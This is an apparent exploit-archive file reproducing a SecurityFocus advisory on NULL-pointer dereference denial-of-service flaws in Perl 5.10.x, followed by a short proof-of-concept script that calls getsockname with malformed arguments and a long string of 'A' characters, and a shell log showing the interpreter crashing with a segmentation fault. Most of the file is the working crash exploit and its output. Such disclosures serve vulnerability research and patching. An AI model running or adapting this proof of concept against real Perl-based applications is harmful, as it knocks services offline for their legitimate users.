18 lines
No EOL
730 B
Perl
Executable file
18 lines
No EOL
730 B
Perl
Executable file
source: https://www.securityfocus.com/bid/47766/info
|
|
|
|
Perl is prone to multiple denial-of-service vulnerabilities caused by a NULL-pointer dereference.
|
|
|
|
An attacker can exploit these issues to cause an affected application to crash, denying service to legitimate users.
|
|
|
|
Perl versions 5.10.x are vulnerable.
|
|
|
|
jonathan () blackbox:~/test$ cat poc1.pl
|
|
#!/usr/bin/perl
|
|
$a =
|
|
getsockname(9505,4590,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAA",17792);
|
|
jonathan () blackbox:~/test$ perl poc1.pl
|
|
Segmentation fault (core dumped)
|
|
jonathan () blackbox:~/test$ |